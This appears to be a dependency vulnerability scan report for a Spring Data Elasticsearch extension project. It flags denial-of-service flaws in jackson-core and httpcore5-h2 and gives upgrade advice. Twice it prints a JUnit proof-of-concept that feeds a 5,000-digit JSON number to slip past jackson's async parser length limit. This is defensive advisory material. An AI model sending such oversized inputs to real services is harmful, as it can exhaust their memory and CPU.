Vulnerabilities

4 via 12 paths

Dependencies

30

Source

GitHub

Commit

653a7d59

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 4
  • 2
Severity
  • 4
  • 2
Status
  • 6
  • 0
  • 0

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: org.springframework.data:spring-data-elasticsearch@6.0.2

Detailed paths

  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 com.fasterxml.jackson.core:jackson-core@2.20.1
    Remediation: Upgrade to org.springframework.data:spring-data-elasticsearch@6.0.4.
  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 com.fasterxml.jackson.core:jackson-databind@2.20.1 com.fasterxml.jackson.core:jackson-core@2.20.1
    Remediation: Upgrade to org.springframework.data:spring-data-elasticsearch@6.0.4.
  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 com.fasterxml.jackson.core:jackson-core@2.20.1
  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 com.fasterxml.jackson.core:jackson-databind@2.20.1 com.fasterxml.jackson.core:jackson-core@2.20.1
  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 co.elastic.clients:elasticsearch-rest5-client@9.2.3 com.fasterxml.jackson.core:jackson-core@2.20.1
  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 co.elastic.clients:elasticsearch-rest5-client@9.2.3 com.fasterxml.jackson.core:jackson-databind@2.20.1 com.fasterxml.jackson.core:jackson-core@2.20.1

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

high severity
new

Denial of Service (DoS)

  • Vulnerable module: org.apache.httpcomponents.core5:httpcore5-h2
  • Introduced through: org.springframework.data:spring-data-elasticsearch@6.0.2

Detailed paths

  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 org.apache.httpcomponents.client5:httpclient5@5.4.4 org.apache.httpcomponents.core5:httpcore5-h2@5.3.4
    Remediation: Upgrade to org.springframework.data:spring-data-elasticsearch@6.0.3.
  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 co.elastic.clients:elasticsearch-rest5-client@9.2.3 org.apache.httpcomponents.client5:httpclient5@5.4.4 org.apache.httpcomponents.core5:httpcore5-h2@5.3.4
    Remediation: Upgrade to org.springframework.data:spring-data-elasticsearch@6.0.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to incorrect stream accounting in the handling of server-sent stream resets. An attacker can cause excessive server resource consumption by rapidly opening streams and triggering resets using malformed frames or flow control errors, resulting in the server processing an unbounded number of concurrent streams on a single connection.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.httpcomponents.core5:httpcore5-h2 to version 5.3.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: org.springframework.data:spring-data-elasticsearch@6.0.2

Detailed paths

  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 tools.jackson.core:jackson-core@3.0.0
  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: org.springframework.data:spring-data-elasticsearch@6.0.2

Detailed paths

  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 tools.jackson.core:jackson-core@3.0.0
  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed org.springframework.data:spring-data-elasticsearch@6.0.2 co.elastic.clients:elasticsearch-java@9.2.3 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in ReaderBasedJsonParser.java and UTF8DataInputJsonParser.java, when processing deeply nested data. A regression in 3.0 versions caused the StreamReadConstraints.maxNestingDepth setting for DataInput to not be checked, allowing resources to be overwhelmed by malicious inputs.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-classic
  • Introduced through: ch.qos.logback:logback-classic@1.5.27

Detailed paths

  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed ch.qos.logback:logback-classic@1.5.27

Dual license: EPL-1.0, LGPL-2.1

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-classic@1.5.27

Detailed paths

  • Introduced through: fherbreteau/spring-data-elasticsearch-extension@fherbreteau/spring-data-elasticsearch-extension#653a7d5948cd45711e5fe8a9fb80304f95278aed ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27

Dual license: EPL-1.0, LGPL-2.1